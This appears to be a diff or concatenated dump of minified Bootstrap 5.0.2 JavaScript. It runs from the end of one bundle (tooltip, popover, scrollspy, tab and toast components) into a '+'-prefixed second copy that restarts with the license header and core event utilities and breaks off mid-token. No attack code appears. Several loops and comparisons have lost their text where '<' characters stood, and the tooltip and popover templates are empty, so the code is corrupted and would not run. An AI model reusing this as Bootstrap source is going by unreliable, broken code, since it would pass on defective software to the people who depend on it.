t={...Se,...U.getDataAttributes(this._element),..."object"==typeof t?t:{}},l("offcanvas",t,Ie),t}_initializeBackDrop(){return new ke({isVisible:this._config.backdrop,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:()=>this.hide()})}_enforceFocusOnElement(t){P.off(document,"focusin.bs.offcanvas"),P.on(document,"focusin.bs.offcanvas",e=>{document===e.target||t===e.target||t.contains(e.target)||t.focus()}),t.focus()}_addEventListeners(){P.on(this._element,"click.dismiss.bs.offcanvas",'[data-bs-dismiss="offcanvas"]',()=>this.hide()),P.on(this._element,"keydown.dismiss.bs.offcanvas",t=>{this._config.keyboard&&"Escape"===t.key&&this.hide()})}static jQueryInterface(t){return this.each((function(){const e=Ne.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}P.on(document,"click.bs.offcanvas.data-api",'[data-bs-toggle="offcanvas"]',(function(e){const i=s(this);if(["A","AREA"].includes(this.tagName)&&e.preventDefault(),h(this))return;P.one(i,"hidden.bs.offcanvas",()=>{c(this)&&this.focus()});const n=t.findOne(".offcanvas.show");n&&n!==i&&Ne.getInstance(n).hide(),Ne.getOrCreateInstance(i).toggle(this)})),P.on(window,"load.bs.offcanvas.data-api",()=>t.find(".offcanvas.show").forEach(t=>Ne.getOrCreateInstance(t).show())),_(Ne);const je=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),Me=/^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/i,Pe=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i,He=(t,e)=>{const i=t.nodeName.toLowerCase();if(e.includes(i))return!je.has(i)||Boolean(Me.test(t.nodeValue)||Pe.test(t.nodeValue));const n=e.filter(t=>t instanceof RegExp);for(let t=0,e=n.length;t{He(t,a)||i.removeAttribute(t.nodeName)})}return n.body.innerHTML}const Be=new RegExp("(^|\\s)bs-tooltip\\S+","g"),We=new Set(["sanitize","allowList","sanitizeFn"]),qe={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(array|string|function)",container:"(string|element|boolean)",fallbackPlacements:"array",boundary:"(string|element)",customClass:"(string|function)",sanitize:"boolean",sanitizeFn:"(null|function)",allowList:"object",popperConfig:"(null|object|function)"},ze={AUTO:"auto",TOP:"top",RIGHT:g()?"left":"right",BOTTOM:"bottom",LEFT:g()?"right":"left"},$e={animation:!0,template:'',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:[0,0],container:!1,fallbackPlacements:["top","right","bottom","left"],boundary:"clippingParents",customClass:"",sanitize:!0,sanitizeFn:null,allowList:{"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},popperConfig:null},Ue={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"};class Fe extends B{constructor(t,e){if(void 0===fe)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(t),this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this._config=this._getConfig(e),this.tip=null,this._setListeners()}static get Default(){return $e}static get NAME(){return"tooltip"}static get Event(){return Ue}static get DefaultType(){return qe}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(t){if(this._isEnabled)if(t){const e=this._initializeOnDelegatedTarget(t);e._activeTrigger.click=!e._activeTrigger.click,e._isWithActiveTrigger()?e._enter(null,e):e._leave(null,e)}else{if(this.getTipElement().classList.contains("show"))return void this._leave(null,this);this._enter(null,this)}}dispose(){clearTimeout(this._timeout),P.off(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this.tip&&this.tip.remove(),this._popper&&this._popper.destroy(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this.isWithContent()||!this._isEnabled)return;const t=P.trigger(this._element,this.constructor.Event.SHOW),i=d(this._element),n=null===i?this._element.ownerDocument.documentElement.contains(this._element):i.contains(this._element);if(t.defaultPrevented||!n)return;const s=this.getTipElement(),o=e(this.constructor.NAME);s.setAttribute("id",o),this._element.setAttribute("aria-describedby",o),this.setContent(),this._config.animation&&s.classList.add("fade");const r="function"==typeof this._config.placement?this._config.placement.call(this,s,this._element):this._config.placement,a=this._getAttachment(r);this._addAttachmentClass(a);const{container:l}=this._config;R.set(s,this.constructor.DATA_KEY,this),this._element.ownerDocument.documentElement.contains(this.tip)||(l.appendChild(s),P.trigger(this._element,this.constructor.Event.INSERTED)),this._popper?this._popper.update():this._popper=ue(this._element,s,this._getPopperConfig(a)),s.classList.add("show");const c="function"==typeof this._config.customClass?this._config.customClass():this._config.customClass;c&&s.classList.add(...c.split(" ")),"ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>{P.on(t,"mouseover",u)});const h=this.tip.classList.contains("fade");this._queueCallback(()=>{const t=this._hoverState;this._hoverState=null,P.trigger(this._element,this.constructor.Event.SHOWN),"out"===t&&this._leave(null,this)},this.tip,h)}hide(){if(!this._popper)return;const t=this.getTipElement();if(P.trigger(this._element,this.constructor.Event.HIDE).defaultPrevented)return;t.classList.remove("show"),"ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>P.off(t,"mouseover",u)),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1;const e=this.tip.classList.contains("fade");this._queueCallback(()=>{this._isWithActiveTrigger()||("show"!==this._hoverState&&t.remove(),this._cleanTipClass(),this._element.removeAttribute("aria-describedby"),P.trigger(this._element,this.constructor.Event.HIDDEN),this._popper&&(this._popper.destroy(),this._popper=null))},this.tip,e),this._hoverState=""}update(){null!==this._popper&&this._popper.update()}isWithContent(){return Boolean(this.getTitle())}getTipElement(){if(this.tip)return this.tip;const t=document.createElement("div");return t.innerHTML=this._config.template,this.tip=t.children[0],this.tip}setContent(){const e=this.getTipElement();this.setElementContent(t.findOne(".tooltip-inner",e),this.getTitle()),e.classList.remove("fade","show")}setElementContent(t,e){if(null!==t)return r(e)?(e=a(e),void(this._config.html?e.parentNode!==t&&(t.innerHTML="",t.appendChild(e)):t.textContent=e.textContent)):void(this._config.html?(this._config.sanitize&&(e=Re(e,this._config.allowList,this._config.sanitizeFn)),t.innerHTML=e):t.textContent=e)}getTitle(){let t=this._element.getAttribute("data-bs-original-title");return t||(t="function"==typeof this._config.title?this._config.title.call(this._element):this._config.title),t}updateAttachment(t){return"right"===t?"end":"left"===t?"start":t}_initializeOnDelegatedTarget(t,e){const i=this.constructor.DATA_KEY;return(e=e||R.get(t.delegateTarget,i))||(e=new this.constructor(t.delegateTarget,this._getDelegateConfig()),R.set(t.delegateTarget,i,e)),e}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map(t=>Number.parseInt(t,10)):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(t){const e={placement:t,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"onChange",enabled:!0,phase:"afterWrite",fn:t=>this._handlePopperPlacementChange(t)}],onFirstUpdate:t=>{t.options.placement!==t.placement&&this._handlePopperPlacementChange(t)}};return{...e,..."function"==typeof this._config.popperConfig?this._config.popperConfig(e):this._config.popperConfig}}_addAttachmentClass(t){this.getTipElement().classList.add("bs-tooltip-"+this.updateAttachment(t))}_getAttachment(t){return ze[t.toUpperCase()]}_setListeners(){this._config.trigger.split(" ").forEach(t=>{if("click"===t)P.on(this._element,this.constructor.Event.CLICK,this._config.selector,t=>this.toggle(t));else if("manual"!==t){const e="hover"===t?this.constructor.Event.MOUSEENTER:this.constructor.Event.FOCUSIN,i="hover"===t?this.constructor.Event.MOUSELEAVE:this.constructor.Event.FOCUSOUT;P.on(this._element,e,this._config.selector,t=>this._enter(t)),P.on(this._element,i,this._config.selector,t=>this._leave(t))}}),this._hideModalHandler=()=>{this._element&&this.hide()},P.on(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this._config.selector?this._config={...this._config,trigger:"manual",selector:""}:this._fixTitle()}_fixTitle(){const t=this._element.getAttribute("title"),e=typeof this._element.getAttribute("data-bs-original-title");(t||"string"!==e)&&(this._element.setAttribute("data-bs-original-title",t||""),!t||this._element.getAttribute("aria-label")||this._element.textContent||this._element.setAttribute("aria-label",t),this._element.setAttribute("title",""))}_enter(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),e.getTipElement().classList.contains("show")||"show"===e._hoverState?e._hoverState="show":(clearTimeout(e._timeout),e._hoverState="show",e._config.delay&&e._config.delay.show?e._timeout=setTimeout(()=>{"show"===e._hoverState&&e.show()},e._config.delay.show):e.show())}_leave(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusout"===t.type?"focus":"hover"]=e._element.contains(t.relatedTarget)),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState="out",e._config.delay&&e._config.delay.hide?e._timeout=setTimeout(()=>{"out"===e._hoverState&&e.hide()},e._config.delay.hide):e.hide())}_isWithActiveTrigger(){for(const t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1}_getConfig(t){const e=U.getDataAttributes(this._element);return Object.keys(e).forEach(t=>{We.has(t)&&delete e[t]}),(t={...this.constructor.Default,...e,..."object"==typeof t&&t?t:{}}).container=!1===t.container?document.body:a(t.container),"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),l("tooltip",t,this.constructor.DefaultType),t.sanitize&&(t.template=Re(t.template,t.allowList,t.sanitizeFn)),t}_getDelegateConfig(){const t={};if(this._config)for(const e in this._config)this.constructor.Default[e]!==this._config[e]&&(t[e]=this._config[e]);return t}_cleanTipClass(){const t=this.getTipElement(),e=t.getAttribute("class").match(Be);null!==e&&e.length>0&&e.map(t=>t.trim()).forEach(e=>t.classList.remove(e))}_handlePopperPlacementChange(t){const{state:e}=t;e&&(this.tip=e.elements.popper,this._cleanTipClass(),this._addAttachmentClass(this._getAttachment(e.placement)))}static jQueryInterface(t){return this.each((function(){const e=Fe.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}_(Fe);const Ve=new RegExp("(^|\\s)bs-popover\\S+","g"),Ke={...Fe.Default,placement:"right",offset:[0,8],trigger:"click",content:"",template:''},Xe={...Fe.DefaultType,content:"(string|element|function)"},Ye={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"};class Qe extends Fe{static get Default(){return Ke}static get NAME(){return"popover"}static get Event(){return Ye}static get DefaultType(){return Xe}isWithContent(){return this.getTitle()||this._getContent()}getTipElement(){return this.tip||(this.tip=super.getTipElement(),this.getTitle()||t.findOne(".popover-header",this.tip).remove(),this._getContent()||t.findOne(".popover-body",this.tip).remove()),this.tip}setContent(){const e=this.getTipElement();this.setElementContent(t.findOne(".popover-header",e),this.getTitle());let i=this._getContent();"function"==typeof i&&(i=i.call(this._element)),this.setElementContent(t.findOne(".popover-body",e),i),e.classList.remove("fade","show")}_addAttachmentClass(t){this.getTipElement().classList.add("bs-popover-"+this.updateAttachment(t))}_getContent(){return this._element.getAttribute("data-bs-content")||this._config.content}_cleanTipClass(){const t=this.getTipElement(),e=t.getAttribute("class").match(Ve);null!==e&&e.length>0&&e.map(t=>t.trim()).forEach(e=>t.classList.remove(e))}static jQueryInterface(t){return this.each((function(){const e=Qe.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}_(Qe);const Ge={offset:10,method:"auto",target:""},Ze={offset:"number",method:"string",target:"(string|element)"};class Je extends B{constructor(t,e){super(t),this._scrollElement="BODY"===this._element.tagName?window:this._element,this._config=this._getConfig(e),this._selector=`${this._config.target} .nav-link, ${this._config.target} .list-group-item, ${this._config.target} .dropdown-item`,this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,P.on(this._scrollElement,"scroll.bs.scrollspy",()=>this._process()),this.refresh(),this._process()}static get Default(){return Ge}static get NAME(){return"scrollspy"}refresh(){const e=this._scrollElement===this._scrollElement.window?"offset":"position",i="auto"===this._config.method?e:this._config.method,s="position"===i?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),t.find(this._selector).map(e=>{const o=n(e),r=o?t.findOne(o):null;if(r){const t=r.getBoundingClientRect();if(t.width||t.height)return[U[i](r).top+s,o]}return null}).filter(t=>t).sort((t,e)=>t[0]-e[0]).forEach(t=>{this._offsets.push(t[0]),this._targets.push(t[1])})}dispose(){P.off(this._scrollElement,".bs.scrollspy"),super.dispose()}_getConfig(t){if("string"!=typeof(t={...Ge,...U.getDataAttributes(this._element),..."object"==typeof t&&t?t:{}}).target&&r(t.target)){let{id:i}=t.target;i||(i=e("scrollspy"),t.target.id=i),t.target="#"+i}return l("scrollspy",t,Ze),t}_getScrollTop(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop}_getScrollHeight(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)}_getOffsetHeight(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height}_process(){const t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),i=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=i){const t=this._targets[this._targets.length-1];this._activeTarget!==t&&this._activate(t)}else{if(this._activeTarget&&t0)return this._activeTarget=null,void this._clear();for(let e=this._offsets.length;e--;)this._activeTarget!==this._targets[e]&&t>=this._offsets[e]&&(void 0===this._offsets[e+1]||t`${t}[data-bs-target="${e}"],${t}[href="${e}"]`),n=t.findOne(i.join(","));n.classList.contains("dropdown-item")?(t.findOne(".dropdown-toggle",n.closest(".dropdown")).classList.add("active"),n.classList.add("active")):(n.classList.add("active"),t.parents(n,".nav, .list-group").forEach(e=>{t.prev(e,".nav-link, .list-group-item").forEach(t=>t.classList.add("active")),t.prev(e,".nav-item").forEach(e=>{t.children(e,".nav-link").forEach(t=>t.classList.add("active"))})})),P.trigger(this._scrollElement,"activate.bs.scrollspy",{relatedTarget:e})}_clear(){t.find(this._selector).filter(t=>t.classList.contains("active")).forEach(t=>t.classList.remove("active"))}static jQueryInterface(t){return this.each((function(){const e=Je.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}P.on(window,"load.bs.scrollspy.data-api",()=>{t.find('[data-bs-spy="scroll"]').forEach(t=>new Je(t))}),_(Je);class ti extends B{static get NAME(){return"tab"}show(){if(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&this._element.classList.contains("active"))return;let e;const i=s(this._element),n=this._element.closest(".nav, .list-group");if(n){const i="UL"===n.nodeName||"OL"===n.nodeName?":scope > li > .active":".active";e=t.find(i,n),e=e[e.length-1]}const o=e?P.trigger(e,"hide.bs.tab",{relatedTarget:this._element}):null;if(P.trigger(this._element,"show.bs.tab",{relatedTarget:e}).defaultPrevented||null!==o&&o.defaultPrevented)return;this._activate(this._element,n);const r=()=>{P.trigger(e,"hidden.bs.tab",{relatedTarget:this._element}),P.trigger(this._element,"shown.bs.tab",{relatedTarget:e})};i?this._activate(i,i.parentNode,r):r()}_activate(e,i,n){const s=(!i||"UL"!==i.nodeName&&"OL"!==i.nodeName?t.children(i,".active"):t.find(":scope > li > .active",i))[0],o=n&&s&&s.classList.contains("fade"),r=()=>this._transitionComplete(e,s,n);s&&o?(s.classList.remove("show"),this._queueCallback(r,e,!0)):r()}_transitionComplete(e,i,n){if(i){i.classList.remove("active");const e=t.findOne(":scope > .dropdown-menu .active",i.parentNode);e&&e.classList.remove("active"),"tab"===i.getAttribute("role")&&i.setAttribute("aria-selected",!1)}e.classList.add("active"),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!0),f(e),e.classList.contains("fade")&&e.classList.add("show");let s=e.parentNode;if(s&&"LI"===s.nodeName&&(s=s.parentNode),s&&s.classList.contains("dropdown-menu")){const i=e.closest(".dropdown");i&&t.find(".dropdown-toggle",i).forEach(t=>t.classList.add("active")),e.setAttribute("aria-expanded",!0)}n&&n()}static jQueryInterface(t){return this.each((function(){const e=ti.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}P.on(document,"click.bs.tab.data-api",'[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]',(function(t){["A","AREA"].includes(this.tagName)&&t.preventDefault(),h(this)||ti.getOrCreateInstance(this).show()})),_(ti);const ei={animation:"boolean",autohide:"boolean",delay:"number"},ii={animation:!0,autohide:!0,delay:5e3};class ni extends B{constructor(t,e){super(t),this._config=this._getConfig(e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get DefaultType(){return ei}static get Default(){return ii}static get NAME(){return"toast"}show(){P.trigger(this._element,"show.bs.toast").defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove("hide"),f(this._element),this._element.classList.add("showing"),this._queueCallback(()=>{this._element.classList.remove("showing"),this._element.classList.add("show"),P.trigger(this._element,"shown.bs.toast"),this._maybeScheduleHide()},this._element,this._config.animation))}hide(){this._element.classList.contains("show")&&(P.trigger(this._element,"hide.bs.toast").defaultPrevented||(this._element.classList.remove("show"),this._queueCallback(()=>{this._element.classList.add("hide"),P.trigger(this._element,"hidden.bs.toast")},this._element,this._config.animation)))}dispose(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),super.dispose()}_getConfig(t){return t={...ii,...U.getDataAttributes(this._element),..."object"==typeof t&&t?t:{}},l("toast",t,this.constructor.DefaultType),t}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout(()=>{this.hide()},this._config.delay)))}_onInteraction(t,e){switch(t.type){case"mouseover":case"mouseout":this._hasMouseInteraction=e;break;case"focusin":case"focusout":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const i=t.relatedTarget;this._element===i||this._element.contains(i)||this._maybeScheduleHide()}_setListeners(){P.on(this._element,"click.dismiss.bs.toast",'[data-bs-dismiss="toast"]',()=>this.hide()),P.on(this._element,"mouseover.bs.toast",t=>this._onInteraction(t,!0)),P.on(this._element,"mouseout.bs.toast",t=>this._onInteraction(t,!1)),P.on(this._element,"focusin.bs.toast",t=>this._onInteraction(t,!0)),P.on(this._element,"focusout.bs.toast",t=>this._onInteraction(t,!1))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each((function(){const e=ni.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}return _(ni),{Alert:W,Button:q,Carousel:Z,Collapse:et,Dropdown:Ae,Modal:De,Offcanvas:Ne,Popover:Qe,ScrollSpy:Je,Tab:ti,Toast:ni,Tooltip:Fe}})); +/*! + * Bootstrap v5.0.2 (https://getbootstrap.com/) + * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e()}(this,(function(){"use strict";const t={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter(t=>t.matches(e)),parents(t,e){const i=[];let n=t.parentNode;for(;n&&n.nodeType===Node.ELEMENT_NODE&&3!==n.nodeType;)n.matches(e)&&i.push(n),n=n.parentNode;return i},prev(t,e){let i=t.previousElementSibling;for(;i;){if(i.matches(e))return[i];i=i.previousElementSibling}return[]},next(t,e){let i=t.nextElementSibling;for(;i;){if(i.matches(e))return[i];i=i.nextElementSibling}return[]}},e=t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t},i=t=>{let e=t.getAttribute("data-bs-target");if(!e||"#"===e){let i=t.getAttribute("href");if(!i||!i.includes("#")&&!i.startsWith("."))return null;i.includes("#")&&!i.startsWith("#")&&(i="#"+i.split("#")[1]),e=i&&"#"!==i?i.trim():null}return e},n=t=>{const e=i(t);return e&&document.querySelector(e)?e:null},s=t=>{const e=i(t);return e?document.querySelector(e):null},o=t=>{t.dispatchEvent(new Event("transitionend"))},r=t=>!(!t||"object"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),a=e=>r(e)?e.jquery?e[0]:e:"string"==typeof e&&e.length>0?t.findOne(e):null,l=(t,e,i)=>{Object.keys(i).forEach(n=>{const s=i[n],o=e[n],a=o&&r(o)?"element":null==(l=o)?""+l:{}.toString.call(l).match(/\s([a-z]+)/i)[1].toLowerCase();var l;if(!new RegExp(s).test(a))throw new TypeError(`${t.toUpperCase()}: Option "${n}" provided type "${a}" but expected type "${s}".`)})},c=t=>!(!r(t)||0===t.getClientRects().length)&&"visible"===getComputedStyle(t).getPropertyValue("visibility"),h=t=>!t||t.nodeType!==Node.ELEMENT_NODE||!!t.classList.contains("disabled")||(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),d=t=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?d(t.parentNode):null},u=()=>{},f=t=>t.offsetHeight,p=()=>{const{jQuery:t}=window;return t&&!document.body.hasAttribute("data-bs-no-jquery")?t:null},m=[],g=()=>"rtl"===document.documentElement.dir,_=t=>{var e;e=()=>{const e=p();if(e){const i=t.NAME,n=e.fn[i];e.fn[i]=t.jQueryInterface,e.fn[i].Constructor=t,e.fn[i].noConflict=()=>(e.fn[i]=n,t.jQueryInterface)}},"loading"===document.readyState?(m.length||document.addEventListener("DOMContentLoaded",()=>{m.forEach(t=>t())}),m.push(e)):e()},b=t=>{"function"==typeof t&&t()},v=(t,e,i=!0)=>{if(!i)return void b(t);const n=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const n=Number.parseFloat(e),s=Number.parseFloat(i);return n||s?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let s=!1;const r=({target:i})=>{i===e&&(s=!0,e.removeEventListener("transitionend",r),b(t))};e.addEventListener("transitionend",r),setTimeout(()=>{s||o(e)},n)},y=(t,e,i,n)=>{let s=t.indexOf(e);if(-1===s)return t[!i&&n?t.length-1:0];const o=t.length;return s+=i?1:-1,n&&(s=(s+o)%o),t[Math.max(0,Math.min(s,o-1))]},w=/[^.]*(?=\..*)\.|.*/,E=/\..*/,A=/::\d+$/,T={};let O=1;const C={mouseenter:"mouseover",mouseleave:"mouseout"},k=/^(mouseenter|mouseleave)/i,L=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function x(t,e){return e&&`${e}::${O++}`||t.uidEvent||O++}function D(t){const e=x(t);return t.uidEvent=e,T[e]=T[e]||{},T[e]}function S(t,e,i=null){const n=Object.keys(t);for(let s=0,o=n.length;sfunction(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};n?n=t(n):i=t(i)}const[o,r,a]=I(e,i,n),l=D(t),c=l[a]||(l[a]={}),h=S(c,r,o?i:null);if(h)return void(h.oneOff=h.oneOff&&s);const d=x(r,e.replace(w,"")),u=o?function(t,e,i){return function n(s){const o=t.querySelectorAll(e);for(let{target:r}=s;r&&r!==this;r=r.parentNode)for(let a=o.length;a--;)if(o[a]===r)return s.delegateTarget=r,n.oneOff&&P.off(t,s.type,e,i),i.apply(r,[s]);return null}}(t,i,n):function(t,e){return function i(n){return n.delegateTarget=t,i.oneOff&&P.off(t,n.type,e),e.apply(t,[n])}}(t,i);u.delegationSelector=o?i:null,u.originalHandler=r,u.oneOff=s,u.uidEvent=d,c[d]=u,t.addEventListener(a,u,o)}function j(t,e,i,n,s){const o=S(e[i],n,s);o&&(t.removeEventListener(i,o,Boolean(s)),delete e[i][o.uidEvent])}function M(t){return t=t.replace(E,""),C[t]||t}const P={on(t,e,i,n){N(t,e,i,n,!1)},one(t,e,i,n){N(t,e,i,n,!0)},off(t,e,i,n){if("string"!=typeof e||!t)return;const[s,o,r]=I(e,i,n),a=r!==e,l=D(t),c=e.startsWith(".");if(void 0!==o){if(!l||!l[r])return;return void j(t,l,r,o,s?i:null)}c&&Object.keys(l).forEach(i=>{!function(t,e,i,n){const s=e[i]||{};Object.keys(s).forEach(o=>{if(o.includes(n)){const n=s[o];j(t,e,i,n.originalHandler,n.delegationSelector)}})}(t,l,i,e.slice(1))});const h=l[r]||{};Object.keys(h).forEach(i=>{const n=i.replace(A,"");if(!a||e.includes(n)){const e=h[i];j(t,l,r,e.originalHandler,e.delegationSelector)}})},trigger(t,e,i){if("string"!=typeof e||!t)return null;const n=p(),s=M(e),o=e!==s,r=L.has(s);let a,l=!0,c=!0,h=!1,d=null;return o&&n&&(a=n.Event(e,i),n(t).trigger(a),l=!a.isPropagationStopped(),c=!a.isImmediatePropagationStopped(),h=a.isDefaultPrevented()),r?(d=document.createEvent("HTMLEvents"),d.initEvent(s,l,!0)):d=new CustomEvent(e,{bubbles:l,cancelable:!0}),void 0!==i&&Object.keys(i).forEach(t=>{Object.defineProperty(d,t,{get:()=>i[t]})}),h&&d.preventDefault(),c&&t.dispatchEvent(d),d.defaultPrevented&&void 0!==a&&a.preventDefault(),d}},H=new Map;var R={set(t,e,i){H.has(t)||H.set(t,new Map);const n=H.get(t);n.has(e)||0===n.size?n.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(n.keys())[0]}.`)},get:(t,e)=>H.has(t)&&H.get(t).get(e)||null,remove(t,e){if(!H.has(t))return;const i=H.get(t);i.delete(e),0===i.size&&H.delete(t)}};class B{constructor(t){(t=a(t))&&(this._element=t,R.set(this._element,this.constructor.DATA_KEY,this))}dispose(){R.remove(this._element,this.constructor.DATA_KEY),P.off(this._element,this.constructor.EVENT_KEY),Object.getOwnPropertyNames(this).forEach(t=>{this[t]=null})}_queueCallback(t,e,i=!0){v(t,e,i)}static getInstance(t){return R.get(t,this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,"object"==typeof e?e:null)}static get VERSION(){return"5.0.2"}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}static get DATA_KEY(){return"bs."+this.NAME}static get EVENT_KEY(){return"."+this.DATA_KEY}}class W extends B{static get NAME(){return"alert"}close(t){const e=t?this._getRootElement(t):this._element,i=this._triggerCloseEvent(e);null===i||i.defaultPrevented||this._removeElement(e)}_getRootElement(t){return s(t)||t.closest(".alert")}_triggerCloseEvent(t){return P.trigger(t,"close.bs.alert")}_removeElement(t){t.classList.remove("show");const e=t.classList.contains("fade");this._queueCallback(()=>this._destroyElement(t),t,e)}_destroyElement(t){t.remove(),P.trigger(t,"closed.bs.alert")}static jQueryInterface(t){return this.each((function(){const e=W.getOrCreateInstance(this);"close"===t&&e[t](this)}))}static handleDismiss(t){return function(e){e&&e.preventDefault(),t.close(this)}}}P.on(document,"click.bs.alert.data-api",'[data-bs-dismiss="alert"]',W.handleDismiss(new W)),_(W);class q extends B{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=q.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}function 